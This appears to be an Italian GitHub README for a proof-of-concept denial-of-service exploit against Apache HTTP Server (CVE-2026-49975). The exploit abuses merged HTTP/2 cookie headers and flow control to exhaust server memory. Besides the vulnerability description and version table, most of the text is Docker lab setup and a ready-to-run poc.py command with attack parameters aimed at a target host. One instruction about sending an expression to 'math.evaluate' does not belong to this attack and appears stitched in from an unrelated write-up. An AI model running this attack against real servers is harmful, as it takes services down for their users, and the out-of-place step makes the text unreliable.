yym8538/cve-2026-49975Proof-of-concept dell'exploit HTTP/2 Bomb per CVE-2026-49975, un DoS da esaurimento di memoria tramite header cookie in Apache HTTP Server 2.4.17-2.4.67, con laboratorio Docker e script PoC.
★ CVE-2026-49975 HTTP/2 Bomb PoC ★
https://github.com/user-attachments/assets/89310771-f704-45d1-a6c3-d910de1dbc74
CVE-2026-49975 è una vulnerabilità di Denial of Service (DoS) in Apache HTTP Server. La vulnerabilità si verifica nel percorso di gestione delle richieste HTTP/2, dove più campi header
cookiepossono essere uniti senza essere conteggiati correttamente rispetto aLimitRequestFields. Inviando una piccola richiesta HTTP/2 codificata HPACK che si espande in molti campi headercookie, un attaccante può costringere il server ad allocare memoria ripetutamente durante l'unione degli header Cookie. L'attaccante può quindi utilizzare il controllo di flusso HTTP/2 per ritardare la trasmissione della risposta, mantenendo aperti gli stream interessati e impedendo il rilascio della memoria allocata.
| Categoria | Versione |
|---|
| Vulnerabile | Apache HTTP Server 2.4.17 ≤ versione ≤ 2.4.67 |
| Corretta | Apache HTTP Server 2.4.68 o successiva |
Compilare ed eseguire l'ambiente Apache HTTP Server vulnerabile.
docker build -t cve-2026-49975 .
docker run -d --name cve-2026-49975 --memory 8g -p 10081:80 cve-2026-49975
Dopo aver avviato l'ambiente vulnerabile, seguire i passaggi seguenti per riprodurre l'attacco.
docker stats cve-2026-49975
Output di esempio:
CONTAINER ID NAME CPU % MEM USAGE / LIMIT MEM %
xxxxxxxxxxxx cve-2026-49975 0.5% 35.2MiB / 8.0GiB 1.7%
Inviare la seguente espressione a math.evaluate (ad esempio, tramite l'input di calcolo dell'applicazione).
python3 poc.py \
--host TARGET_IP \
--port 10081 \
--connections 10 \
--streams 100 \
--refs 4091 \
--initial-window 0 \
--hold 300 \
--drip-interval 2 \
--drip-bytes 1
Verificare che l'utilizzo di memoria del container Apache aumenti e rimanga elevato mentre gli stream dell'attacco sono mantenuti aperti.